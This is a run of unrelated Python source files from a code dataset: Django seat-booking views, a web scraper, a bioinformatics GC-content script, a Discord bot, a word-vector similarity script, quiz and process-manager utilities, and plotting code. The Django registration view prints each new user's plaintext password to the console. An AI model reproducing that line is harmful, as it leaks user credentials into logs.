csv.writer(response) \n writer.writerow([\"booking_id,booking_date,booked_by,shift,floor,seat_row,seat_num\"])\n for b in bookings: \n writer.writerow([b.id,b.booking_date,b.booked_by, b.shift,b.floor,b.seat_row, b.seat_num]) \n return response\n elif type ==\"excel\":\n file_name = \"bookings\"+str(d1)+\".xls\"\n response = HttpResponse(content_type='application/ms-excel')\n content_disposition = 'attachment; filename=\"'+file_name+'\"'\n #decide file name\n response['Content-Disposition'] = content_disposition\n\n #creating workbook\n wb = xlwt.Workbook(encoding='utf-8')\n\n #adding sheet\n ws = wb.add_sheet(\"sheet1\")\n\n # Sheet header, first row\n row_num = 0\n\n font_style = xlwt.XFStyle()\n # headers are bold\n font_style.font.bold = True\n\n #column header names, you can use your own headers here\n columns = ['booking_id','booking_date','booked_by','shift','floor','seat_row','seat_num' ]\n\n #write column headers in sheet\n for col_num in range(len(columns)):\n ws.write(row_num, col_num, columns[col_num], font_style)\n\n # Sheet body, remaining rows\n font_style = xlwt.XFStyle()\n\n data = bookings \n for my_row in data:\n row_num = row_num + 1\n ws.write(row_num, 0, my_row.id, font_style)\n b_date = str(my_row.booking_date.day)+\"/\"+str(my_row.booking_date.month)+\"/\"+str(my_row.booking_date.year)\n ws.write(row_num, 1, b_date, font_style)\n ws.write(row_num, 2, my_row.booked_by, font_style)\n ws.write(row_num, 3, my_row.shift, font_style)\n ws.write(row_num, 4, my_row.floor, font_style)\n ws.write(row_num, 5, my_row.seat_row, font_style)\n ws.write(row_num, 6, my_row.seat_num, font_style)\n\n wb.save(response)\n return response \n else:\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'download_report_form.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"download_report_form.html\", context)\n else:\n messages.error(request, 'Requested Page only available to admin users!')\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"home.html\", context)\n\n@login_required(login_url='login')\ndef home(request, *args, **kwargs):\n is_admin = is_user_admin(request.user.email)\n print(\"user name is already set as \"+request.user.username)\n return render(request, 'home.html', {'is_admin' : is_admin})\n\n\ndef logout_view(request):\n logout(request)\n return render(request, \"index.html\")\n\ndef registerPage(request):\n if request.user.is_authenticated:\n return redirect('home')\n else:\n form = CreateUserForm()\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n if form.is_valid():\n password1 = form.cleaned_data.get('password1')\n print(\"password1 was\"+ password1)\n password2 = form.cleaned_data.get('password2')\n if password1 != password2:\n raise forms.validationError(\"Passoword dont match\")\n form.save()\n user = form.cleaned_data.get('username')\n context = {'form': form}\n return render(request, 'register.html', context)\n\n\ndef loginPage(request):\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect(\"home/\")\n context = {}\n return render(request, 'login.html', context)\n\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n\ndef index(request): \n template = loader.get_template('index.html')\n name = {'test' : 'test'}\n return HttpResponse(template.render(name)) \n \ndef mail(request): \n subject = \"Greetings\" \n msg = \"Testing django mail\" \n to = \"xyz@gmail.com\" \n res = send_mail(subject, msg, settings.EMAIL_HOST_USER, [to]) \n if(res == 1): \n msg = \"Mail Sent Successfuly\" \n else: \n msg = \"Mail could not sent\" \n return HttpResponse(msg) \n","sub_path":"booking_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":27022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"263680798","text":"# Python's batteries-included url library\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError\n\n# Beautiful Soup 4 library\nfrom bs4 import BeautifulSoup\n\n# For observing program runtime\nfrom datetime import datetime, timedelta\n\ndef getPage(url):\n start = datetime.now()\n try:\n html = urlopen(url)\n print(type(html))\n except HTTPError as e:\n print(\"Encountered an error: \" + e)\n return e\n try:\n soupd = BeautifulSoup(html.read(), \"html.parser\")\n timeTaken = datetime.now() - start\n print(\"Duration of function call (url accessing + BS creation): \" +\n str((timeTaken.days * 86400 + timeTaken.seconds) / 60))\n except AttributeError as e:\n print(\"Error creating the BS object\")\n timeTaken = datetime.now() - start\n print(\"Duration of function call (url accessing + BS creation): \" +\n str((timeTaken.days * 86400 + timeTaken.seconds) / 60))\n return none\n return soupd\n\nbsObject = getPage(\"http://www.basketball-reference.com/leagues/NBA_2015_games.html\")\nprint(bsObject.title)\n","sub_path":"firstScrape.py","file_name":"firstScrape.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"78110524","text":"#!/usr/bin/python3\n\n########################################################################\n\n# Problem\n\n# The GC-content of a DNA string is given by the percentage of symbols in\n# the string that are 'C' or 'G'. For example, the GC-content of \"AGCTATAG\"\n# is 37.5%. Note that the reverse complement of any DNA string has the\n# same GC-content.\n\n# DNA strings must be labeled when they are consolidated into a database. A\n# commonly used method of string labeling is called FASTA format. In this\n# format, the string is introduced by a line that begins with '>', followed\n# by some labeling information. Subsequent lines contain the string itself;\n# the first line to begin with '>' indicates the label of the next string.\n\n# In Rosalind's implementation, a string in FASTA format will be labeled\n# by the ID \"Rosalind_xxxx\", where \"xxxx\" denotes a four-digit code between\n# 0000 and 9999.\n\n# Given: At most 10 DNA strings in FASTA format (of length at most 1\n# kbp each).\n\n# Return: The ID of the string having the highest GC-content, followed\n# by the GC-content of that string. Rosalind allows for a default error\n# of 0.001 in all decimal answers unless otherwise stated; please see the\n# note on absolute error below.\n\n########################################################################\n\n# Alright! Time to get down to FASTA format work.\n# Let's start with just making something to find the\n# GC content of a string of characters.\n\nimport sys\n\ndef gc(string):\n return len(list(filter(lambda x: x == \"C\" or x == \"G\", string)))\n\n# Not a very efficient method - I'm sure I could leverage some sort of\n# sufftree to make this faster - but hell, it's elegant.\n\n# I actually didn't see that the problem wanted you to only return\n# the one with the largest percentage, so I wrote another file gc_02.py\n# to take the output from gc_01.py and do that.\n\n# So, from the command line, I guess what you'd actually want to do\n# is \n\n# cat rosalind_file | python3 gc_01.py | python3 gc_02.py > my_answer\n\n# and that will the the true answer.\n\nif __name__==\"__main__\":\n count = 0\n total = 0\n\n isFirst = True\n\n current = str()\n for line in sys.stdin:\n if line[0] == \">\":\n if not isFirst:\n print(round((count * 100) / total, 6))\n count = 0\n total = 0\n else:\n isFirst = False\n print(line[1:-1])\n else:\n count += gc(line)\n total += len(line[:-1]) # -1 to stop the newline.\n\n print(round((count * 100) / total, 6))\n","sub_path":"problems/gc/gc_01.py","file_name":"gc_01.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"262094173","text":"import os\n\nimport discord\nfrom discord.ext import commands\n\nprint(os.getcwd())\ntoken = open(\"../token.txt\", \"r\").read()\nclient = discord.Client()\n\n\n@client.event\nasync def on_ready():\n print(f'{client.user} has connected to Discord!')\n\n\n@client.event\nasync def on_message(ctx):\n if \"hi\" in str(ctx.content.lower()):\n await ctx.channel.send('Hello!')\n\n\nclient.run(token)\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"590860678","text":"import pandas as pd\nimport numpy as np\nimport math\n\n# My name is Shanvith Madhirala. This is an uncommon name so I decided to use 'jake'.\n# USE 'jake' INSTEAD\nNAME = 'jake'\nCOLS_NUM = 300\nROWS_COUNT = 10000\nRESULT_SIZE = 6\n\ndef get_df():\n\tfp = open('glove.6B/glove.6B.300d.txt')\n\tdf = pd.DataFrame(columns=np.arange(0, COLS_NUM))\n\tcount = 0\n\tfor line in fp:\n\t\t# print(line)\n\t\tdata = line.split(\" \")\n\t\tdf.loc[data[0]] = data[1:]\n\t\tdf.loc[data[0]][COLS_NUM-1] = df.loc[data[0]][COLS_NUM-1][:-1]\n\t\tif count == ROWS_COUNT:\n\t\t\tbreak\n\t\tcount += 1\n\t# print (df)\n\tfp.close()\n\treturn df\n\ndef dot_product(v1, v2):\n\tdp = 0\n\tfor i in range(COLS_NUM):\n\t\tdp += float(v1[i])*float(v2[i])\n\treturn dp\n\ndef cosine_similarity(base, vector):\n\tab = dot_product(base, vector)\n\tmag_a = math.sqrt(dot_product(base, base))\n\tmag_b = math.sqrt(dot_product(vector, vector))\n\tmag_ab = mag_a * mag_b\n\treturn 1 - ab/mag_ab\n\ndef get_neighbors(df, base):\n\tneighbors = []\n\tfor index in df.index:\n\t\tcosim = cosine_similarity(base[1], df.loc[index])\n\t\tneighbors.append([index, cosim])\n\tneighbors = sorted(neighbors, key=lambda x : x[1])\n\treturn neighbors[:RESULT_SIZE]\n\ndef print_neighbors(neighbors):\n\tfor neighbor in neighbors:\n\t\tprint(\"%.2f %s\" % (round(neighbor[1], 2), neighbor[0]))\n\t\t\t\ndef main():\n\tdf = get_df()\n\tbase = [NAME, df.loc[NAME]]\n\tneighbors = get_neighbors(df, base)\n\n\tprint()\n\tprint(\"NAME: \\'%s\\'\" % NAME)\n\tprint_neighbors(neighbors)\n\tprint()\n\t\n\nif __name__ == '__main__':\n\tmain()","sub_path":"task_1.py","file_name":"task_1.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"642949848","text":"\"\"\"Functions for evaluating quizzes in C++ using pass/fail functions.\"\"\"\n\nimport os\nimport falcon.util as util\nimport falcon.files as files\n\ndef setup_local_test():\n \"\"\"Configure environment (namely the root directory) for local execution.\"\"\"\n util.copy_to_tmp('SwizzleInclude.cpp',\n 'SwizzleBefore.cpp',\n 'StudentMain.cpp',\n 'SwizzleAfter.cpp',\n 'Makefile')\n\ndef setup_remote():\n \"\"\"Configure environment (namely the root directory) for remote execution.\"\"\"\n util.move_sandbox_files_to_root('cpp', ['SwizzleInclude.cpp'])\n\ndef tear_down_local_test():\n \"\"\"Tear down environment (namely the root directory) after local execution.\"\"\"\n util.remove_files_from_root(['SwizzleInclude.cpp',\n 'SwizzleBefore.cpp',\n 'StudentMain.cpp',\n 'SwizzleAfter.cpp',\n 'SwizzledMain.cpp',\n 'Makefile',\n 'student_main'])\n\ndef pre_evaluate(for_submission=True):\n \"\"\"\n Compile test/submit code.\n\n Args:\n for_submission (bool): Whether or not this is for submission or just test run.\n Submission will compile against submitMain.cpp, while testing compiles\n against testMain.cpp.\n \"\"\"\n # call the compile shell script\n os.chmod('./compile.sh', '0755')\n util.run_program(['./compile.sh', for_submission],\n '.tmp/compile-out.txt',\n '.tmp/compile-err.txt')\n\ndef evaluate():\n \"\"\"\n Actually run the compiled code.\n \"\"\"\n util.run_program(['./main.o'], files.STUDENT_OUT, files.STUDENT_ERR)\n\ndef test(run_local):\n \"\"\"Test (run) student's code without evaluating it for correctness.\n\n This function should store the output of the student's code in\n files.STUDENT_OUT. It is recommended that you use util.run_program()\n to pipe the results of executing the student's code into\n files.STUDENT_OUT (stdout) and files.STUDENT_ERR (stderr).\n\n Args:\n run_local (bool): flag indicating if test is being run locally\n bash_config (string): bash commands for configuing environment\n\n Raises:\n Any errors stemming from the exection of the program(s) required to\n run the student's code.\n \"\"\"\n pre_evaluate(False)\n evaluate()\n\ndef submit(run_local, bash_config):\n \"\"\"Evaluate the student's code by testing it for correctness.\n\n This function should store the output of evaluating the student's code\n in files.RESULTS_OUT. It is recommended that you use util.run_program()\n to pipe the results of evaluating the student's code into\n files.RESULTS_OUT (stdout) and files.RESULTS_ERR (stderr).\n\n Args:\n run_local (bool): flag indicating if test is being run locally\n bash_config (string): bash commands for configuing environment\n\n Raises:\n Any errors stemming from the exection of the program(s) required to\n evalute the student's code.\n \"\"\"\n\n # create script for running student's code + our testing code\n run_swizzled_bash = '#!/bin/bash\\n' + bash_config + 'make submit; ./grader_main'\n with open('swizzled_runner.sh', 'w') as f:\n f.write(run_swizzled_bash)\n os.chmod('./swizzled_runner.sh', '0755')\n\n try:\n # generate swizzled main\n filenames = ['SwizzleInclude.cpp', 'SwizzleBefore.cpp', 'StudentMain.cpp', 'SwizzleAfter.cpp']\n errors = []\n with open('SwizzledMain.cpp', 'w') as outfile:\n for fname in filenames:\n try:\n with open(fname) as infile:\n outfile.write(infile.read())\n except IOError:\n errors.append('file ' + fname + ' not found')\n else:\n outfile.write('\\n')\n if len(errors) > 0:\n # pipe errors to file\n util.run_program(['echo', str(errors)], files.RESULTS_ERR, files.RESULTS_ERR)\n else:\n # run swizzled main\n util.run_program(['./swizzled_runner.sh'], files.RESULTS_OUT, files.RESULTS_ERR)\n # run student main (for extra debugging)\n util.run_program(['./student_runner.sh'], files.STUDENT_OUT, files.STUDENT_ERR)\n except:\n raise\n finally:\n os.remove('swizzled_runner.sh')\n os.remove('student_runner.sh')\n\n pre_evaluate(True)\n evaluate()\n\ndef submit_files():\n \"\"\"Specifies a list of file paths to include in results when student submits quiz.\"\"\"\n return ['StudentMain.cpp']\n\ndef transform(test_output):\n \"\"\"Transforms contents of 'files.RESULTS_OUT' into a classroom-friendly format.\n\n Currently, the classroom understands the following tags:\n - \n - \n - \n\n All lines prepended with these tags will be auto-formatted:\n - \n represents something the student did correctly and is displayed\n in the \"What Went Well\" section\n - \n represents something the student did incorrectly and is displayed\n in the \"What Went Wrong\" section\n - \n additional feedback to either guide or congratulate the student\n that appears in the \"Feedback\" section\n\n Note: If the contents of 'files.RESULTS_OUT' already use tags, then\n you can simply return the eval_output unmodified.\n\n Args:\n eval_output (string): Contents of 'files.RESULTS_OUT'\n\n Returns:\n A string with classroom-friendly tags that represents the results of\n evaluating the student's code for a programming quiz.\n \"\"\"\n return test_output\n","sub_path":"udfalcon/stack/cpp.py","file_name":"cpp.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388709410","text":"# coding=utf-8\nimport pytest\nparam = [\"a\",\"b\",\"c\"]\n@pytest.fixture(scope=\"module\",params=param)\ndef dem(request):\n print(\"开始\")\n print(request.param)\n yield request.param\n print(\"结束\")\n\ndef test_demo(dem):\n de = dem\n print(de)\n\n\n\nif __name__ == \"__main__\":\n pytest.main(\"-s\",\"test_fixture_2.py\")","sub_path":"fixture_test/test_fixture_2.py","file_name":"test_fixture_2.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"247964300","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport pandas as pd\nimport scipy.stats\nimport matplotlib.pyplot as plt\n\nplt.style.use('sig-alternate.mplrc')\n\nmy_colors = plt.rcParams['axes.prop_cycle'].by_key()['color']\n\n\ndef conf_int(data, confidence=0.99):\n a = 1.0 * np.array(data)\n n = len(a)\n m, se = np.mean(a), scipy.stats.sem(a)\n if (n < 2) or (se == 0):\n return np.nan\n h = se * scipy.stats.t.ppf((1 + confidence) / 2., n - 1)\n return h\n\n\n##################################################################\nd = (pd.read_csv('../perf-data/1_2_3PU-samples=100000000.csv'))\nd['Core'] = '3r1'\n\ne = (pd.read_csv('../perf-data/dur.csv'))\ne['Core'] = '3r2'\n\nf = (pd.read_csv('../perf-data/1PU-samples=100000000.csv'))\nf['Core'] = '1'\n\ng = (pd.read_csv('../perf-data/2_3PU-samples=100000000.csv'))\ng['Core'] = '2'\n\nh = (pd.read_csv('../perf-data/1_3PU-samples=100000000.csv'))\nh['Core'] = '13'\n\nd = pd.concat([d, e, g, h], axis=0)\n\nd = d.groupby(['Core', 'stages']).agg({'time': [np.mean, np.var, conf_int]})\nprint(d)\n\nfig, ax = plt.subplots(1, 1)\nfig.subplots_adjust(bottom=.192, left=.11, top=.99, right=.97)\n\nt = d.loc['13']\nax.errorbar(t.index ** 2, t[('time', 'mean')], yerr=t[('time', 'conf_int')], label='13 Core')\nt = d.loc['2']\nax.errorbar(t.index ** 2, t[('time', 'mean')], yerr=t[('time', 'conf_int')], label='23 Core')\nt = d.loc['3r1']\nax.errorbar(t.index ** 2, t[('time', 'mean')], yerr=t[('time', 'conf_int')], label='3 Core Run1')\nt = d.loc['3r2']\nax.errorbar(t.index ** 2, t[('time', 'mean')], yerr=t[('time', 'conf_int')], label='3 Core Run2')\n\nplt.setp(ax.get_yticklabels(), rotation=90, va=\"center\")\nax.set_xlabel('\\#\\,Pipes $\\\\times$ \\#\\,Stages')\nax.set_ylabel(' Average Execution Time (in ns)')\n\n\nhandles, labels = ax.get_legend_handles_labels()\nhandles = [x[0] for x in handles]\nax.legend(handles, labels, handlelength=1)\n\n# plt.savefig('buf.pdf')\n\nplt.show()\n","sub_path":"utils/eval/plot_dur_ci.py","file_name":"plot_dur_ci.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"299252292","text":"\"\"\"\n\"\"\"\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport time\nimport errno\nimport shutil\nimport signal\nimport logging\nimport urllib2\n\nfrom os.path import join, abspath, exists\n\nfrom supervisor import supervisorctl, supervisord\nfrom setproctitle import setproctitle\n\nfrom . import BaseProcessManager\nfrom ..config_manager import ConfigManager\n\nlog = logging.getLogger(__name__)\n\n\nsupervisord_conf_template = \"\"\";\n; This file is maintained by Galaxy - CHANGES WILL BE OVERWRITTEN\n;\n\n[unix_http_server]\nfile = {supervisor_state_dir}/supervisor.sock\n\n[supervisord]\nlogfile = {supervisor_state_dir}/supervisord.log\npidfile = {supervisor_state_dir}/supervisord.pid\nloglevel = info\nnodaemon = false\n\n[rpcinterface:supervisor]\nsupervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface\n\n[supervisorctl]\nserverurl = unix://{supervisor_state_dir}/supervisor.sock\n\n[include]\nfiles = {supervisord_conf_dir}/*.d/*.conf {supervisord_conf_dir}/*.conf\n\"\"\"\n\nsupervisord_galaxy_uwsgi_conf_template = \"\"\";\n; This file is maintained by Galaxy - CHANGES WILL BE OVERWRITTEN\n;\n\n[program:{program_name}]\ncommand = {uwsgi_path} --ini-paste {galaxy_conf} --pidfile={supervisor_state_dir}/{program_name}.pid\ndirectory = {galaxy_root}\nautostart = false\nautorestart = true\nstartsecs = 10\nnumprocs = 1\nstopsignal = INT\nstdout_logfile = {log_dir}/{program_name}.log\nredirect_stderr = true\nenvironment = PYTHON_EGG_CACHE=\"{virtualenv}/.python-eggs\",PATH=\"{virtualenv}/bin:%(ENV_PATH)s\"\n\"\"\"\n\nsupervisord_galaxy_paste_conf_template = \"\"\";\n; This file is maintained by Galaxy - CHANGES WILL BE OVERWRITTEN\n;\n\n[program:{program_name}]\ncommand = python ./scripts/paster.py serve {galaxy_conf} --server-name={server_name} --pid-file={supervisor_state_dir}/{program_name}.pid\nprocess_name = {config_type}_{server_name}\ndirectory = {galaxy_root}\nautostart = false\nautorestart = true\nstartsecs = 20\nnumprocs = 1\nstdout_logfile = {log_dir}/{program_name}.log\nredirect_stderr = true\nenvironment = PYTHON_EGG_CACHE=\"{virtualenv}/.python-eggs\",PATH=\"{virtualenv}/bin:%(ENV_PATH)s\"\n\"\"\"\n\nsupervisord_galaxy_standalone_conf_template = \"\"\";\n; This file is maintained by Galaxy - CHANGES WILL BE OVERWRITTEN\n;\n\n[program:{program_name}]\ncommand = python ./lib/galaxy/main.py -c {galaxy_conf} --server-name={server_name} --pid-file={supervisor_state_dir}/{program_name}.pid\nprocess_name = {config_type}_{server_name}\ndirectory = {galaxy_root}\nautostart = false\nautorestart = true\nstartsecs = 20\nnumprocs = 1\nstdout_logfile = {log_dir}/{program_name}.log\nredirect_stderr = true\nenvironment = PYTHON_EGG_CACHE=\"{virtualenv}/.python-eggs\",PATH=\"{virtualenv}/bin:%(ENV_PATH)s\"\n\"\"\"\n\nsupervisord_galaxy_instance_group_conf_template = \"\"\";\n; This file is maintained by Galaxy - CHANGES WILL BE OVERWRITTEN\n;\n\n[group:{instance_name}]\nprograms = {programs}\n\"\"\"\n\n\nclass SupervisorProcessManager(BaseProcessManager):\n\n def __init__(self, state_dir=None, galaxy_root=None, start_supervisord=True, default_config_file=None):\n super(SupervisorProcessManager, self).__init__(state_dir=state_dir)\n self.default_config_file = default_config_file\n self.supervisor_state_dir = join(self.state_dir, 'supervisor')\n self.supervisord_conf_path = join(self.supervisor_state_dir, 'supervisord.conf')\n self.supervisord_conf_dir = join(self.supervisor_state_dir, 'supervisord.conf.d')\n\n if not exists(self.supervisord_conf_dir):\n os.makedirs(self.supervisord_conf_dir)\n\n if start_supervisord:\n self.__supervisord()\n\n def __supervisord(self):\n format_vars = { 'supervisor_state_dir' : self.supervisor_state_dir,\n 'supervisord_conf_dir' : self.supervisord_conf_dir }\n supervisord_pid_path = join(self.supervisor_state_dir, 'supervisord.pid')\n\n try:\n assert exists(supervisord_pid_path)\n os.kill(int(open(supervisord_pid_path).read()), 0)\n except:\n # any time that supervisord is not running, let's rewrite supervisord.conf\n open(self.supervisord_conf_path, 'w').write(supervisord_conf_template.format(**format_vars))\n # supervisord detaches, fork so we don't exit here\n pid = os.fork()\n if pid == 0:\n args = ['-c', self.supervisord_conf_path]\n # set sys.argv so if there's an error it doesn't output a\n # misleading message that appears to be coming from galaxy\n sys.argv = ['supervisord'] + args\n setproctitle('supervisord -c %s' % self.supervisord_conf_path)\n supervisord.main(args=args)\n else:\n pid, rc = os.waitpid(pid, 0)\n assert rc == 0, 'supervisord exited with code %d' % rc\n log.info('supervisord started as pid %d', pid)\n\n def __get_supervisor(self):\n \"\"\" Return the supervisor proxy object\n\n Should probably use this more rather than supervisorctl directly\n \"\"\"\n options = supervisorctl.ClientOptions()\n options.realize(args=['-c', self.supervisord_conf_path])\n return supervisorctl.Controller(options).get_supervisor()\n\n def __update_service(self, config_file, config, attribs, service, instance_conf_dir, instance_name):\n format_vars = {\n 'log_dir' : attribs['log_dir'],\n 'config_type' : service['config_type'],\n 'server_name' : service['service_name'],\n 'program_name' : '%s_%s_%s_%s' % (instance_name, service['config_type'], service['service_type'], service['service_name']),\n 'virtualenv' : attribs['virtualenv'],\n 'galaxy_conf' : config_file,\n 'galaxy_root' : attribs['galaxy_root'],\n 'supervisor_state_dir' : self.supervisor_state_dir,\n }\n conf = join(instance_conf_dir, '%s_%s_%s.conf' % (service['config_type'], service['service_type'], service['service_name']))\n\n if not exists(attribs['log_dir']):\n os.makedirs(attribs['log_dir'])\n\n if service['service_type'] == 'paste':\n template = supervisord_galaxy_paste_conf_template\n elif service['service_type'] == 'uwsgi':\n uwsgi_path = attribs['uwsgi_path']\n if uwsgi_path == 'install':\n self.config_manager.install_uwsgi(attribs['virtualenv'])\n uwsgi_path = join(attribs['virtualenv'], 'bin', 'uwsgi')\n elif uwsgi_path is None:\n uwsgi_path = 'uwsgi'\n format_vars['uwsgi_path'] = uwsgi_path\n # uwsgi does not live in the process group so that it is not fully restarted with the rest of the processes\n format_vars['program_name'] = '%s_%s_%s' % (instance_name, service['config_type'], service['service_name'])\n template = supervisord_galaxy_uwsgi_conf_template\n elif service['service_type'] == 'standalone':\n template = supervisord_galaxy_standalone_conf_template\n else:\n raise Exception('Unknown service type: %s' % service['service_type'])\n\n open(conf, 'w').write(template.format(**format_vars))\n\n def _process_config_changes(self, configs, meta_changes):\n # remove the services of any configs which have been removed\n for config_file, config in meta_changes['remove_configs'].items():\n instance_name = config.instance_name\n instance_conf_dir = join(self.supervisord_conf_dir, '%s.d' % instance_name)\n for service in config['services']:\n log.info('Removing service %s:%s_%s_%s', instance_name, service.config_type, service.service_type, service.service_name)\n conf = join(instance_conf_dir, '%s_%s_%s.conf' % (service.config_type, service.service_type, service.service_name))\n if exists(conf):\n os.unlink(conf)\n\n # update things for existing or new configs\n for config_file, config in configs.items():\n instance_name = config['instance_name']\n attribs = config['attribs']\n update_all_configs = False\n\n # config attribs have changed (galaxy_root, virtualenv, etc.)\n if 'update_attribs' in config:\n log.info('Updating all dependent services of config %s due to changes' % config_file)\n attribs = config['update_attribs']\n update_all_configs = True\n\n # instance name has changed, so supervisor group config must change\n if 'update_instance_name' in config:\n instance_name = config['update_instance_name']\n log.info('Creating new instance for name change: %s -> %s', config['instance_name'], instance_name)\n update_all_configs = True\n\n # always attempt to make the config dir\n instance_conf_dir = join(self.supervisord_conf_dir, '%s.d' % instance_name)\n try:\n os.makedirs(instance_conf_dir)\n except (IOError, OSError) as exc:\n if exc.errno != errno.EEXIST:\n raise\n\n if update_all_configs:\n for service in config['services']:\n log.info('Updating service %s:%s_%s_%s', instance_name, service['config_type'], service['service_type'], service['service_name'])\n self.__update_service(config_file, config, attribs, service, instance_conf_dir, instance_name)\n\n # new services\n if 'update_services' in config:\n for service in config['update_services']:\n log.info('Creating service %s:%s_%s_%s', instance_name, service['config_type'], service['service_type'], service['service_name'])\n self.__update_service(config_file, config, attribs, service, instance_conf_dir, instance_name)\n\n # deleted services\n if 'remove_services' in config:\n for service in config['remove_services']:\n log.info('Removing service %s:%s_%s_%s', instance_name, service['config_type'], service['service_type'], service['service_name'])\n conf = join(instance_conf_dir, '%s_%s_%s.conf' % (service['config_type'], service['service_type'], service['service_name']))\n if exists(conf):\n os.unlink(conf)\n\n # sanity check, make sure everything that should exist does exist\n for service in config['services']:\n conf = join(instance_conf_dir, '%s_%s_%s.conf' % (service['config_type'], service['service_type'], service['service_name']))\n if service not in config.get('remove_services', []) and not exists(conf):\n self.__update_service(config_file, config, attribs, service, instance_conf_dir, instance_name)\n log.warning('Missing service config recreated: %s' % conf)\n\n # all configs referencing an instance name have been removed (or their\n # instance names have changed), nuke the group\n for instance_name in meta_changes['remove_instances']:\n log.info('Removing instance %s', instance_name)\n instance_conf_dir = join(self.supervisord_conf_dir, '%s.d' % instance_name)\n if exists(instance_conf_dir):\n shutil.rmtree(instance_conf_dir)\n conf = join(self.supervisord_conf_dir, 'group_%s.conf' % instance_name)\n if exists(conf):\n os.unlink(join(conf))\n\n # persist to the state file\n self.config_manager.register_config_changes(configs, meta_changes)\n\n # now we can create/update the instance group\n for instance_name in meta_changes['changed_instances']:\n programs = []\n for service in self.config_manager.get_registered_services():\n if service['instance_name'] == instance_name and service['service_type'] != 'uwsgi':\n programs.append('%s_%s_%s_%s' % (instance_name, service['config_type'], service['service_type'], service['service_name']))\n conf = join(self.supervisord_conf_dir, 'group_%s.conf' % instance_name)\n if programs:\n format_vars = { 'instance_conf_dir' : instance_conf_dir,\n 'instance_name' : instance_name,\n 'programs' : ','.join(programs) }\n open(conf, 'w').write(supervisord_galaxy_instance_group_conf_template.format(**format_vars))\n else:\n # no programs for the group, so it should be removed\n if exists(conf):\n os.unlink(conf)\n\n def __start_stop(self, op, instance_names):\n self.update()\n instance_names, unknown_instance_names = self.get_instance_names(instance_names)\n for instance_name in instance_names:\n self.supervisorctl(op, '%s:*' % instance_name)\n for service in self.config_manager.get_instance_services(instance_name):\n if service['service_type'] == 'uwsgi':\n self.supervisorctl(op, '%s_%s_%s' % (instance_name, service['config_type'], service['service_name']))\n # shortcut for just passing service names directly\n for name in unknown_instance_names:\n self.supervisorctl(op, name)\n\n def __reload_graceful(self, op, instance_names):\n self.update()\n for instance_name in self.get_instance_names(instance_names)[0]:\n if op == 'reload':\n # restart everything but uwsgi\n self.supervisorctl('restart', '%s:*' % instance_name)\n for service in self.config_manager.get_instance_services(instance_name):\n service_name = '%s_%s_%s' % (instance_name, service.config_type, service.service_name)\n group_service_name = '%s:%s_%s' % (instance_name, service.config_type, service.service_name)\n if service['service_type'] == 'uwsgi':\n procinfo = self.__get_supervisor().getProcessInfo(service_name)\n # restart uwsgi\n try:\n os.kill(procinfo['pid'], signal.SIGHUP)\n print('%s: sent HUP signal' % group_service_name)\n except Exception as exc:\n log.warning('Attempt to reload %s failed: %s', service_name, exc)\n # graceful restarts\n elif op == 'graceful' and service['service_type'] == 'standalone':\n self.supervisorctl('restart', group_service_name)\n elif op == 'graceful' and service['service_type'] == 'paste':\n self.supervisorctl('restart', group_service_name)\n url = 'http://localhost:%d/' % service.paste_port\n print('%s: waiting until %s is accepting requests' % (service_name, url), end='')\n while True:\n try:\n r = urllib2.urlopen(url, None, 5)\n assert r.getcode() == 200, '%s returned HTTP code: %s' % (url, r.getcode())\n print(' OK')\n break\n except AssertionError as exc:\n print()\n log.error(exc)\n return\n except Exception as exc:\n print('.', end='')\n sys.stdout.flush()\n time.sleep(1)\n\n def start(self, instance_names):\n super(SupervisorProcessManager, self).start(instance_names)\n self.__start_stop('start', instance_names)\n\n def stop(self, instance_names):\n self.__start_stop('stop', instance_names)\n\n def restart(self, instance_names):\n self.__start_stop('restart', instance_names)\n\n\n def reload(self, instance_names):\n self.__reload_graceful('reload', instance_names)\n\n def graceful(self, instance_names):\n self.__reload_graceful('graceful', instance_names)\n\n def status(self):\n # TODO: create our own formatted output\n #supervisor = self.get_supervisor()\n #all_infos = supervisor.getAllProcessInfo()\n self.supervisorctl('status')\n\n def shutdown(self):\n self.supervisorctl('shutdown')\n\n def update(self):\n \"\"\" Add newly defined servers, remove any that are no longer present\n \"\"\"\n configs, meta_changes = self.config_manager.determine_config_changes()\n self._process_config_changes(configs, meta_changes)\n self.supervisorctl('update')\n\n def supervisorctl(self, *args, **kwargs):\n supervisorctl.main(args=['-c', self.supervisord_conf_path] + list(args))\n","sub_path":"gravity/process_manager/supervisor_manager.py","file_name":"supervisor_manager.py","file_ext":"py","file_size_in_byte":16892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"517791562","text":"#import libraries \r\nimport sys\r\nimport random\r\nimport pygame 